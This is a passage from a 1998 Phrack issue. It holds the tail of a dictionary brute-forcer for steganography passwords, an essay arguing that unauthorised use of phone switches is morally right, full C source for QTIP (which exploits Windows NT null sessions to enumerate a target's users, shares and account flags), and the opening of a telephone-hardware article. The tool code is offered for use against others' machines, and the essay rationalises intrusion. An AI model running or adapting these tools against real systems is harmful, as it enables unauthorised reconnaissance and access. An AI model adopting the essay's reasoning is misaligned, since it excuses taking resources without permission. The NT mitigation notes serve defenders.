FileClose(dictgrip)

FileClose(handleout)

return

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:set_files ;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

fname=IniReadPvt("Main", "exepath", ".\S‑TOOLS.EXE", ".\S_BRUTE.INI") gosub path_clean

exepath=fname

gosub determine_tool_type

fname=IniReadPvt("Main", "dict", ".\DICT.TXT", ".\S_BRUTE.INI") gosub path_clean

dict=fname

fname=IniReadPvt("Main", "stegofile", ".\STEGO.GIF", ".\S_BRUTE.INI") gosub path_clean

stegofile=fname

STEGANOSDELAY=IniReadPvt("Main","STEGANOSDELAY","0",".\S_BRUTE.INI")

gifname= ItemExtract( (ItemCount("%stegofile%", "\")), "%stegofile%", "\")

Return

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:prompt_for_files ;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

msg = "Enter the Steganos error delay 0‑60" STEGANOSDELAY=AskLine("%progname%", msg ,"0")

types="Dictionary Text Files|*.txt|All Files|*.*|" dict=AskFileName("Select Dictionary Filename", "C:\", types, "dict.txt", 1) dict=FileNameShort(dict)

types="Steganography tool Executable|*.exe|"

msg="Where is the S‑Tools or Steganos executable?" exepath=AskFileName(msg, "C:\", types, "", 1) exepath=FileNameShort(exepath)

gosub determine_tool_type

if (STEGANOS)

types="Stego File (with hidden message)|*.bmp;*.dib;*.voc;*.wav;*.txt;*.html|" else

types="Stego File (with hidden message)|*.gif;*.bmp;*.wav|" endif

text1="Select Stego Filename (containing hidden message)" stegofile=AskFileName("%text1%", "C:\", types, "", 1) stegofile=FileNameShort(stegofile)

gifname= ItemExtract( (ItemCount("%stegofile%", "\")), "%stegofile%", "\") Return

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:path_clean ;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

switch FileExist(fname)

case 0

error="File %fname% not found!"

gosub bail_error

break

case (2)

error="File %fname% in use!"

gosub bail_error

break

endswitch

fname=FileNameShort(fname)

Return

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:determine_tool_type ;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

exename=(StrUpper(ItemExtract( (ItemCount("%exepath%", "\")), "%exepath%", "\")))

if (exename == "S‑TOOLS.EXE") then STOOLS=1

else if (exename == "STEGANOS.EXE") then STEGANOS=1

Return

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:bail_error ;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

STOP_TIME=TimeYmdHms()

Message("%progname% Error!","%error%") SECONDS=TimeDiffSecs(STOP_TIME,START_TIME) Message("%progname%","Finished in %SECONDS% seconds.")

Exit

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

:bail_success ;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

STOP_TIME=TimeYmdHms()

Message("%progname% Success!!!","%success%") Message("%progname%","Time Started: %START_TIME%%crlf%Time Finished: %STOP_TIME%") Exit

<‑‑>

<++> sbrute/S_BRUTE.INI

[Main]

EXEPATH="C:\Program Files\Deus Ex Machina\Steganos\Steganos.exe" DICT="C:\win\desktop\dict.txt" STEGOFILE="C:\win\desktop\steclouds.bmp" ;STEGOFILE="C:\win\desktop\s‑tclouds.gif"

STEGANOSDELAY=0;; Set this higher for false positives.

;; (Steganos does not use different names for its

;; windows, so this program makes negative result

;; checks (ie bad passwords) based on an error dialog.

;; This timeout controls how many seconds to wait for

;; an error. Default=0

<‑‑>

‑‑‑‑[ EOF

On the Morality of Phreaking

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 09 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ On the Morality of Phreaking

‑‑‑‑‑‑‑‑[ Phrack Staff

The issue of phone phreaking is an interesting topic for discussion concerning morality. For those not familiar with this topic, I will give a brief outline of the subject. Following the outline of phreaking, I will analyze the issue of whether phreaking as defined in the outline is a morally right act, from the perspective of John Stuart Mill and Immanuel Kant. Finally, I will address the fallacies of each of the arguments they might present concerning the topic and provide a determination of which stands as the superior argument for this subject.

The meaning of phone phreaking has changed over the years; its initial growth can be traced in a large part to a magazine named TAP (Technical Assistance Program) started by Abbie Hoffman in 1971 as part of his Youth International Party (YIPL) (Meinel, 5). The intent at this point in time was to utilize technology in order to subvert government and big business institutions. As time progressed, phreaking became less politically motivated and instead was led more by technology enthusiasts interested in learning about the phone systems and how they worked. In 1984, 2600 magazine was formed by Eric Corley in order to further this spread of knowledge (Corley).

The definition of phone phreaking I will use for the purposes of this paper is that which the prominent members of the hacking/phreaking "scene" would use. In discussing the motivations of a phone phreaker, I speak from both personal experience and from numerous conversations with individual phreakers over a period of years. Phreaking is the pursuit of knowledge concerning how phone systems operate. The skills that a phreaker learns in this pursuit of knowledge has the effect that they can often gain control of a phone switch in order to make add additional phone lines, modify billing information, and other such activities, but these are generally considered unrelated to that which an actual phreaker is interested in, and I will focus only on the activities of those true phreakers that are motivated by the desire for knowledge and not for other gains. Generally however, phreaking does involve utilizing the resources of a phone company switch without the permission of the company owning it, in order to both explore its capabilities and to communicate with other phreakers in order to share knowledge.

John Mill, given his views of morality as found in Utilitarianism, would find that phone phreaking is a morally right act. In order to find that an act is morally right, it should have a net benefit in terms of the happiness it adds to the world versus the opposite of happiness it causes (Mill, 7). To show that phreaking is morally right, first it must be shown that it does have a positive effect on the general happiness in the world, and then proceed to show that any negative effects that phreaking may have are sufficiently minor so as to be outweighed by the positive effects. If the positive effects are greater than the negative effects, then clearly the act is morally right.

First, the actual benefit that phreaking has for the individuals involved in it is not directly the pursuit of happiness, but rather the pursuit of knowledge. Since morality is determined by happiness, not knowledge, how knowledge relates to happiness needs to be resolved. The reason this pursuit still relates to morality is that individuals that are pursuing knowledge for no motivation other than itself are doing so because the gain of knowledge has become a part of those individuals' happiness. It is in the same way that Mill argues the pursuit of virtue can be reconciled with the pursuit of happiness that knowledge can also be reconciled (Mill, 35‑37).

Phreaking does have a benefit to the individuals that are involved in its practice. This benefit is in the form of a gain of knowledge concerning the phone systems. This knowledge is gained in generally one of two ways, both of which are common methods of learning and the reader will recognize. The first is through experimentation and exploration. By accessing the phone switch, phreakers are able to experiment with its capabilities and teach themselves how to operate it. In the second case, the phone switches that phreakers have learned to use are utilized as a method of communication with other phreakers. The free communication that comes about as a result of the phone system knowledge that has been gained allows phreakers to exchange new information and teach each other, either as peers or through a teacher‑pupil relationship, even more about the phone system. In both cases, knowledge is gained, and as knowledge is a part of a phreaker's happiness, the general happiness of the world is increased.

Any negative impact phreaking has is minimal, and indirect. The resources that are being used are possessed by phone companies, corporations. A corporation of itself is not a moral being, but a corporation has an effect on three different types of people: stock holders, employees, and consumers.

A stock holder's interest in a corporation is purely on the profits that it produces. Stockholders could be negatively effected by phreakers if a phreaker causes a loss of revenue, or an increase in costs. A loss in revenue for a phone company can only occur if the phreaker uses some resource that if not in use would otherwise be used by a paying customer, or if the phreaker herself would have paid for the resource utilization if it had not been attainable for free. In the first case, phone systems use a technique called multiplexing to handle simultaneous phone calls between switches. If a phone system is below capacity, there are empty time slices or frequencies (depending on type of trunk) in the data that is transmitted between switches. Adding a new connection between switches involves only filling one of these idle slots, with no degradation of quality for existing phone calls, and no marginal cost associated with the additional call. It is only in the case where a phone system is filled to capacity that a phreaker using a slot would prevent an existing customer from using the phone system, resulting in a loss of revenue. In fact, phreakers being more cognizant of this fact that the general public will purposely explore the phone system when it is at its lowest capacity times (late at night and on weekends) just to avoid this situation.

The second part of the stock holders interests is that a phreaker would potentially pay for the phone calls she is making for free. An attraction of phreaking is that it does not cost money to involve ones self in, and most phreakers first start in their youth when they do not have access to being able to pay for phone calls to other phreakers, or even more to the point there is no price they could pay to gain access to a switch. If the phone company were to make this available at a price to phreakers, almost universally they would not be able to afford the price, and would have to stop their gains in knowledge in that subject. This would not result in any additional revenue for the phone company, only a loss of knowledge that the phreaker could have otherwise gained.

Employees are only impacted if they are either aware of something occurring, or have to perform some activity as a result of a phreaker's activities. However, a phreaker only interacts with the phone company's equipment in an under utilized state, and not with employees. Further, phreakers do not cause damage or interfere with the operation of the phone company's equipment, and so require no employee intervention. In this manner, no employees are affected by phreakers.

Finally, consumers are also not negatively impacted by phreakers. A phreaker's interactions with switches does not cause any disruptions in service or prevent consumers from using the same switches simultaneously. Further, there is no interaction that takes place with consumers as a result of a phreaker's activities, and so they are never impacted in any manner.

It is possible there can be a negative impact as a result of the perception of phreakers and based on people with different moral viewpoints than the utilitarian view. Some people are scared by a phreaker's knowledge, and some people are intent on protecting their resources even from those with moral pursuits. These people may become agitated as a result of a phreaker's activities, and although they have no utilitarian reason to be, their agitation should still be considered. However, weighing the moral righteousness of the knowledge being gained, an agitation seems to be greatly outweighed. Based on these criteria, it is clear from the utilitarian viewpoint phreaking is overall beneficial and is morally right.

In contrast to the views of Mill, Immanuel Kant would not find phreaking to be a moral act. In order to find an act moral from a Kantian perspective, it must be in accord with duty (Kant, 9), universalized (Kant, 14), and then tested for a contradiction in thought (Kant, 32) or a contradiction in will (Kant, 32). If an action does not succeed in passing these tests, it can not be a moral act.

The goal of phreaking, the pursuit of knowledge, is in accordance with duty. An individual has an inclination towards improving himself, gaining knowledge being one way of doing so, so this would be an imperfect duty to self (Kant, 31).

There are several possible manners in which the act of phreaking could be universalized. One could say "all people should use the phone system without paying in order to pursue knowledge." This is not a contradiction in thought, a phone system that allowed anyone pursuing knowledge to use it free of charge could exist and persist. However, there would be two major results of having this sort of system. First, the loss in revenue from large numbers of people no longer paying would result in those communicating when not pursuing knowledge subsidizing those that were. Second, a free phone system would have an enormous increase in usage, causing it to reach its capacity quickly and preventing it from being available to those who needed to use it. Nobody wants to have to spend hours attempting to make a phone call in order to get through, and so a system of this type is a contradiction in will for most people, and would thus not be moral.

A preferred universalization of phreaking would be "all people interested in gaining knowledge should be able to freely use unutilized corporate resources in order to do so." The goal of a corporation is to maximize profits. If a corporation has under utilized resources with a value, it is in the company's interest to produce additional revenue based on those resources. If a company does not have under utilized resources, it does not apply to this universalization. The final case is if a company has under utilized resources, but the resources have no value. If they have no value, of what use would the resource be to a person interested in gaining knowledge (i.e. if it was useful to someone, it would have value). So it is a contradiction of thought for a company to have an under utilized resource of value for an extended period of time; if those seeking knowledge are able to recognize an under utilized resource with value, then the company would quickly realize that resource does have value, and utilize its value for profit or else sell the resource off.

Because there is no manner in which phreaking can be universalized so as to preserve its intent and not provide a contradiction of thought or will, it can not be a moral act in accordance with the views of Kant.

In analyzing which of Mill or Kant has a more solid argument, it becomes clear that neither philosophy is ideal for all situations. Both the utilitarian and Kantian viewpoints have disadvantages that are addressed below, however as a whole the Mill utilitarian view of phreaking provides a more rational view that is applicable to those who are phreakers.

First, the utilitarian viewpoints of Mill only considers the individual act in the context of the current state of the world in deciding if it is moral That is, a single act may in all cases contribute to the general happiness of the world, but it may also leave the world changed in some other respect that does not add to or take away from the general happiness. However, the change that has taken place may very will have an impact on how that same act or a completely unrelated act would impact the world so as to make what was once moral now immoral. Although the potential for alternative moral acts remain in that world, and so you have not reduced its potential for happiness, what it has done is impacted the available choices of others in how they can go about acting in a moral manner. This is not a concern of Mill, but of those interested in freedom, as an end to itself, actions promoting the general happiness may adversely affect the freedom of others to act in a moral manner.

The view Kant gives of morality provides that if an act can not be universally applied, it can not be morally right. In the case of phreaking, is it possible that it is at some point for some people a morally right act to phreak, but not for all people at all times? The basis for this argument is that there are some people who are both honestly extremely interested in the phone systems and do not have the resources to explore their interest in any reasonable fashion for some period of time. The typical case is with a phreaker is a young adolescent that has become intrigued with phones. I would contend that for one that is truly interested in learning and has no alternative means, that it is morally right for that person to phreak.

However, as that person grows older and gains access to resources, alternative means become available for him to continue to learn about the phone systems (money buys resources, a job at the phone company provides an immense opportunity to learn). At the point where alternative means are available, it is no longer moral for that person to phreak. Where exactly that point occurs is a blurred line, but it is certainly not a universal law as Kant would imply.

In summary, the subject of phreaking is certainly a controversial subject and would be viewed by many as an out of hand immoral activity. But, at closer examination it is actually something that is done for very moral reasons and although the morality of a phreaker may not necessarily correspond to the morality of all others in society, it is certainly in the mind of the true phreaker a moral activity in which they are engaging, with intelligent rational premises backing up their moral views. Although Kant may not agree with the moral views that are held by the phreaker, the individual circumstances confronted by the individual are not considered and if morality can be decided on an individual basis, as Mill allows, then it may just be that the Kantian view may be too restricting to account for contemporary issues faced in today's technological society.

‑‑‑‑[ EOF

A Quick NT Interrogation Probe

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 10 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ a Quick nT Interrogation Probe (QTIP)

‑‑‑‑‑‑‑‑[ twitch <twitch@aye.net>

‑‑‑‑[ INTRODUCTION

As you probably already know, certain LanMan derivatives (most notably Windows NT) sport a stupid feature known as `null sessions`. Null sessions allow server connections to be established without the hassle and rigmarole of username or password authentication. This is reportedly to ease administrative tasks (UserManager and ilk utilize them). Also, such silliness such as the RedButton bug have shown (although in poor form) that an interested/malicious third party can gleen quite a bit of info from `Press any key to return to index`. Once established, these connections default to having permissions to display enumerated user and share lists, get information about particular users, wander the registry, etc. QTIP takes advantage of this, allowing the user to procure far too much information about the target machine. It employs no black magic or hidden technique to do this. QTIP works via straight API calls.

As of service pack 3 for NT 4.0, it is possible for the `informed` system administrator to block null sessions through the registry, effectively nullifying any threat from QTIP. I do not, however, believe that there is such a patch for 3.5.1 machines. Also, it has not been tested against SAMBA servers, and as far as the author knows, SAMBA does not support something as asinine as null sessions (anyone who knows any differently is invited to mail corrections to the author, or directly to Phrack Magazine).

To prevent these sorts of shenanigans from happening remotely across the Internet, the concerned system administrator can block NBT traffic at the gateway (this sort of traffic should not be allowed to/from the Internet as standard fare). If you are running NT 4.0, install the service packs, and set the appropriate registry values to disable the attack. Or use OpenBSD.

‑‑‑‑[ THE CODE

QTIP has a few options. qtip ‑h supplies the following info:

usage qtip[asug<username>hv] <target>

‑s: get share list

‑u: get user list

‑g <username>: get infos about <username>

‑d: leave connection established on exit ‑a: ‑s + ‑u

‑h, ‑?: display this help

‑v: be verbose (use twice to be garrulous)

Seems rather self explanatory. If the verbose flag is set, then ‑u implies a recursive ‑g. ‑d is handy if you plan to take a look at the registry as well (there's gold in them thar hills). Omission of all flags just establishes a null session and exits. <target> can be a fully‑qualified domain name, ip address, or UNC format. The code compiles like a dream under visual c 4.1. There is no makefile included, just link the code against kernel32.lib, libc.lib and wsock32.lib. This program is most useful wrapped in scripts with something like tping(ip sweeper), and maybe a few registry inquisition perl scripts. Feel free to redistribute, just give props where props are due, and please let me know if you make any interesting changes.

<++> qtip/qtip.h

/*

* qtip.h

* 12/04/1997

* twitch

* twitch@aye.net

*

* a quick nt investigative probe. (mis)uses null sessions to collect * sundry information about a WindowsNT server. distribute as you * please. be alert, look alive, and act like you kow.

*

* '...i should dismiss him, in order to teach him that pleasure consists * not in what i enjoy, but in having my own way.'

* ‑sk, either/or

*/

#include <stdio.h>

#include <windows.h>

#include <winsock.h>

#include "lm.h"

#define k16 16384

#define TARG_LEN 255

#define USER_LEN 22

void handle_error(DWORD);

void prepend_str(char *, char*);

int open_session();

int procure_userlist();

int procure_sharelist();

void parse_cl(int, char **);

void usage(char *);

int powerup(int, char **);

void bail(const char *);

int close_session();

void get_usr_info(wchar_t *);

/* couple o globals to make my life easier */

u_int OPT_SHARES, OPT_USERS, OPT_GETUI;

u_int OPT_NODEL, VERB;

char target[TARG_LEN];

WCHAR utarg[TARG_LEN];

WCHAR user[USER_LEN];

NETRESOURCE nr;

<‑‑>

<++> qtip/qtip.c

/*

* qtip.c

* 10/04/1997

* twitch

* twitch@aye.net

*

* a quick nt investigative probe

* link against kernel32.lib, libc.lib and wsock32.lib.

* qtip ‑h for usage. distribute as you please.

*

*/

#include "qtip.h"

int main(int argc, char *argv[])

{

if( (powerup(argc, argv)) )

return(1);

if( (open_session()) != 0)

return(1);

if(OPT_SHARES)

procure_sharelist();

if(OPT_USERS)

procure_userlist();

if(OPT_GETUI)

get_usr_info(utarg);

close_session();

return(0);

}

int open_session()

{

DWORD r;

nr.dwType = RESOURCETYPE_ANY;

nr.lpLocalName = NULL;

nr.lpProvider = NULL;

nr.lpRemoteName = target;

if(VERB)

printf("establishing null session with %s...\n", target);

r = WNetAddConnection2(&nr, "", "", 0);

if(r != NO_ERROR){

handle_error(r);

return ‑1;

}

if(VERB)

printf("connection established\n");

return 0;

}

/*

* procure_userlist()

* just use the old lm NetUserEnum() because there isnt comparable * functionality in the WNet sect. i just wish the win32 api was * more bloated and obtuse.

*/

int procure_userlist()

{

NET_API_STATUS nas;

LPBYTE *buf = NULL;

DWORD entread, totent, rhand;

DWORD maxlen = 0xffffffff;

USER_INFO_0 *usrs;

unsigned int i;

int cc = 0;

entread = totent = rhand = nas = 0;

if( (buf = (LPBYTE*)malloc(k16)) == NULL) bail("malloc probs\n");

if(VERB)

wprintf(L"\ngetting userlist from %s...\n", utarg);

nas = NetUserEnum(utarg, 0, 0, buf, maxlen, &entread, &totent, &rhand); if(nas != NERR_Success){

fprintf(stderr, "couldnt enum users, "); handle_error(nas);

goto cleanup;

}

cc = sizeof(USER_INFO_0) * entread;

if( (usrs = (USER_INFO_0 *)malloc(cc)) == NULL){ fprintf(stderr, "malloc probs\n");

goto cleanup;

}

memcpy(usrs, *buf, cc);

for(i = 0; i < entread; i++){

wcscpy(user, usrs[i].usri0_name); wprintf(L"%s\n", user);

if(VERB) get_usr_info(utarg);

}

cleanup:

if(buf)

free(buf);

return 0;

}

/*

* get_user_info()

* attempt to gather some interesting facts about

* a user

*/

void get_usr_info(LPWSTR utarg)

{

NET_API_STATUS nas;

USER_INFO_1 usrinfos;

LPBYTE *buf = NULL;

if( !(buf = (LPBYTE *)malloc(sizeof(USER_INFO_1))) ) bail("malloc probs\n");

nas = NetUserGetInfo(utarg, user, 1, buf);

if(nas){

fwprintf(stderr, L"couldnt get user info for for %s, ", user); handle_error(nas);

}

else{

memcpy(&usrinfos, *buf, sizeof(USER_INFO_1));

/* most of these will never happen, but nothings lost trying */

if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) ) printf("\t‑password not required, how about that.\n"); if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) ) printf("\t‑account disabled\n");

if( (UF_LOCKOUT & usrinfos.usri1_flags) ) printf("\t‑account locked out\n");

if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) ) printf("\t‑password doesnt expire\n");

if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) ) printf("\t‑user cant change password\n");

if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) ) printf("\t‑account for some other box in this domain\n"); if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) ) printf("\t‑account for what is prolly the BDC\n");

if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) ) printf("\t‑interdomain permit to trust account\n");

}

free(buf);

}

/*

* procure_sharelist()

* strangely enough, this retrieves a sharelist from target

*/

int procure_sharelist()

{

DWORD r;

DWORD bufsize = 16384, cnt = 0xFFFFFFFF; HANDLE enhan;

void *buf;

NETRESOURCE *res;

u_int i;

if( (buf = malloc(bufsize)) == NULL){

fprintf(stderr, "malloc probs, bailing\n");

return ‑1;

}

nr.dwScope = RESOURCE_CONNECTED;

nr.dwType = RESOURCETYPE_ANY; nr.dwDisplayType = 0;

nr.dwUsage = RESOURCEUSAGE_CONTAINER; nr.lpLocalName = NULL;

nr.lpRemoteName = (LPTSTR)target;

nr.lpComment = NULL;

nr.lpProvider = NULL;

r = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,

RESOURCEUSAGE_CONNECTABLE, &nr

, &enhan);

if(r != 0){

free(buf);

printf("open_enum failed, sorry‑ "); handle_error(r);

return ‑1;

}

r = WNetEnumResource(enhan, &cnt, buf, &bufsize);

if(r != 0){

free(buf);

printf("enum_res failed‑ "); handle_error(r);

return ‑1;

}

res = (NETRESOURCE*)malloc(cnt * sizeof(NETRESOURCE)); if(res == NULL){

free(buf);

printf("malloc probs, i wont be listing shares.\n"); return ‑1;

}

memcpy(res, buf, (cnt * sizeof(NETRESOURCE)) );

for(i = 0; i < cnt; i++){

if(VERB)

printf("\nshare name:\t");

printf("%s\n", res[i].lpRemoteName);

if(VERB){

printf("share type:\t"); if(res[i].dwType = RESOURCETYPE_DISK)

printf("disk");

else

printf("printer");

printf("\ncomment:\t%s\n", res[i].lpComment);

}

}

free(buf);

free(res);

return 0;

}

/*

* close_session()

* clean up our mess

*/

int close_session()

{

DWORD r;

WSACleanup();

if(!OPT_NODEL)

r = WNetCancelConnection2(target, 0, TRUE);

if(r != 0){

fprintf(stderr, "couldnt delete %s, returned %d\n", target, r); return ‑1;

}

else{

if(VERB)

printf("connection to %s deleted\n", target); }

return 0;

}

/*

* handle_error()

* util function to deal with some errors.

*/

void handle_error(DWORD err)

{

switch(err){

case ERROR_ACCESS_DENIED:

fprintf(stderr, "access is denied.\n"); break;

case ERROR_BAD_NET_NAME:

fprintf(stderr, "bad net name.\n"); break;

case ERROR_EXTENDED_ERROR:

fprintf(stderr, "an extended error occurred.\n"); break;

case ERROR_INVALID_PASSWORD:

fprintf(stderr, "invalid password.\n"); break;

case ERROR_LOGON_FAILURE:

fprintf(stderr, "bad username or password.\n"); break;

case NO_ERROR:

fprintf(stderr, "it worked\n"); break;

case ERROR_BAD_NETPATH:

fprintf(stderr, "network path not found.\n"); break;

default:

fprintf(stderr, "a random error occurred (%d).\n", err); }

}

/*

* prepend_str()

* util funk to prepend chars to a string

*/

void prepend_str(char *orgstr, char *addthis)

{

orgstr = _strrev(orgstr);

addthis = _strrev(addthis);

strcat(orgstr, addthis);

orgstr = _strrev(orgstr);

}

/*

* parse_cl()

* try and make sense of the command line. no, i dont have a win32 getopt. * yes, i know i should

*/

void parse_cl(int argc, char **argv)

{

int i, cc;

char opt;

DWORD r;

OPT_SHARES = OPT_USERS = VERB = 0;

for(i = 1; i < (argc); i++){

if( (*argv[i]) == '‑'){

opt = *(argv[i]+1); switch(opt){

case 'a':

OPT_SHARES = 1;

OPT_USERS = 1;

break;

case 's':

OPT_SHARES = 1;

break;

case 'u':

OPT_USERS = 1;

break;

case 'g':

OPT_GETUI = 1;

if( (strlen(argv[i+1])) > USER_LEN)

bail("username too long (must be < 21)");

ZeroMemory(user, USER_LEN);

cc = strlen(argv[++i]);

r = MultiByteToWideChar(CP_ACP, 0, argv[i], cc, user, (cc + 2));

break;

case 'd':

OPT_NODEL = 1;

break;

case 'v':

VERB++;

break;

default:

if( (opt != 'h') && (opt != '?') )

fprintf(stderr, "unknown option '%c'\n", opt);

usage(argv[0]);

break;

}

}

}

if( (OPT_SHARES) && (VERB) )

printf("listing shares\n");

if( (OPT_USERS) && (VERB) )

printf("listing users\n");

if( (OPT_GETUI) && (VERB) )

wprintf(L"getting infos about user %s\n", user);

if(VERB)

printf("verbosity = %d\n", VERB);

}

/*

* powerup()

* just init stuff and parse the command line

*/

int powerup(int argc, char **argv)

{

struct hostent *hent;

u_long addie;

WORD werd;

WSADATA data;

char buf[256];

int cc = 0, ucc = 0;

if(argc < 3)

usage(argv[0]);

parse_cl(argc, argv);

ZeroMemory(buf, 256);

strcpy(buf, argv[argc ‑ 1]);

/* if not unc format get the ip */

if(buf[0] != '\\'){

if(VERB > 1)

printf("target not in unc\n");

werd = MAKEWORD(1, 1);

if( (WSAStartup(werd, &data)) !=0 ) bail("couldnt init winsock\n");

hent = (struct hostent *)malloc(sizeof(struct hostent)); if(hent == NULL)

bail("malloc probs\n");

if( (addie = inet_addr(buf)) == INADDR_NONE){ hent = gethostbyname(buf); if(hent == NULL){

fprintf(stderr, "fatal: couldnt resolve %s.\n", buf);

return ‑1;

}

ZeroMemory(buf, 256); strcpy(buf, inet_ntoa(*(struct in_addr *)*hent‑>h_addr_list)); }

prepend_str(buf, "\\\\");

}

else

fprintf(stderr, "target already in unc\n");

if( (strlen(buf) > (TARG_LEN ‑ 1)) ){

free(buf);

bail("hostname too long (must be < 255 chars.)"); return ‑1;

}

ZeroMemory(target, TARG_LEN);

strcpy(target, buf);

ZeroMemory(utarg, TARG_LEN);

cc = strlen(target);

ucc = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, target, cc, utarg, cc); if(ucc < 1){

bail("unicode conversion probs, sorry");

return ‑1;

}

return 0;

}

void usage(char *prog)

{

fprintf(stderr, "usage: %s [asug<username>hv] <target>\n", prog); fprintf(stderr, "\t‑s:\t\tget share list\n"); fprintf(stderr, "\t‑u:\t\tget user list\n");

fprintf(stderr, "\t‑g: <username>\tget infos about just <username>\n"); fprintf(stderr, "\t‑d:\t\tleave connection established on exit\n"); fprintf(stderr, "\t‑a:\t\t‑s + ‑u\n");

fprintf(stderr, "\t‑h, ‑?:\t\tdisplay this help\n"); fprintf(stderr, "\t‑v:\t\tbe verbose (use twice to be garrolous)\n"); exit(0);

}

/*

* bail()

* just whine and die

*/

void bail(const char *msg)

{

fprintf(stderr, "fatal: %s\n", msg);

close_session();

exit(1);

}

<‑‑>

‑‑‑‑[ EOF

Subscriber Loop Carrier

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 11 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Subscriber Loop Carrier (slick)

‑‑‑‑‑‑‑‑[ Voyager[TNO]

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

I........................................Overview

II........................................The Central Office Terminal

III........................................The Remote Terminal

IV........................................SLC‑2000 Shelves

V........................................Where might you find an RT?

VI........................................SLC Interface Software

VII........................................SLC Glossary

VIII........................................SLC Vendors

+‑‑‑‑‑‑‑‑‑‑+

| Overview |

+‑‑‑‑‑‑‑‑‑‑+

A Subscriber Loop Carrier (SLC) (often pronounced "slick") is a multiplexer which allows a large number of analog lines to be provided over a very small number of digital lines. A good example is the AT&T SLC 5, which allows 192 subscriber loops to be provided through two or four digital lines. SLCs are also referred to as Digital Loop Carriers (DLCs).

The first SLC was installed in 1971. As of 1995, between 5 and 10% of all lines are served by SLCs, as are roughly 50% of all new lines built each year. SLCs are available from quite a few vendors. This article focuses on the extremely popular SLC‑2000 from AT&T.

A SLC usually consists of two separate subsystems, the Central Office Terminal (COT) and the Remote Terminal (RT). The COT is connected to the RT via a DS1 circuit. The DS1 circuit may be carried over actual T1 lines, or it may be carried over another medium such as lightwave or digital radio. The RT is then connected to the subscribers using a Voice Frequency (VF) circuit. The VF circuit is what you and I would recognize as our normal phone line.

This diagram illustrates a subscriber loop constructed using an SLC:

+‑‑‑‑‑‑‑‑‑+

| |

| Central | +‑‑‑‑+

| Office | | |

| | ‑‑‑ DS1 circuit ‑‑‑ | RT | ‑‑‑ VF circuit ‑‑ | Residence |

| (COT) | | |

| | +‑‑‑‑+

+‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| The Central Office Terminal |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

The SLC‑2000 COT is a modular design usually consisting of the following components:

. Access Resource Manager (ARM) shelf

. Metallic Distribution Assembly (MDS) shelves

. Heat Baffles

. Alarm and Test Unit (ATU)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | | | | | | | | <‑‑‑‑‑‑‑ Alarm and Test Unit

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | <‑‑‑‑‑‑‑ Heat baffle

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

||||||||||||||||||||||||||||

|:::::::::::::::::::;::;:::| <‑‑\

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| \___ Access Resource Manager (ARM) shelf

|:;;;;;;::;::::::::||||||||| /

|.##||||.|,,,,,,,,,........| <‑‑/

|.##||||' '''''''''|||||||||

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | <‑‑‑‑‑‑‑ Heat baffle

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|!!!!!!!!!!^^||^^!!!!!!!!!!| <‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS)

|!!!!!!!!!!^^||^^!!!!!!!!!!|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|!!!!!!!!!!^^||^^!!!!!!!!!!| <‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS)

|!!!!!!!!!!^^||^^!!!!!!!!!!|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | <‑‑‑‑‑‑‑ Heat baffle

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|!!!!!!!!!!^^||^^!!!!!!!!!!| <‑‑‑‑‑‑‑ Metallic Distribution Shelf (MDS)

|!!!!!!!!!!^^||^^!!!!!!!!!!|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

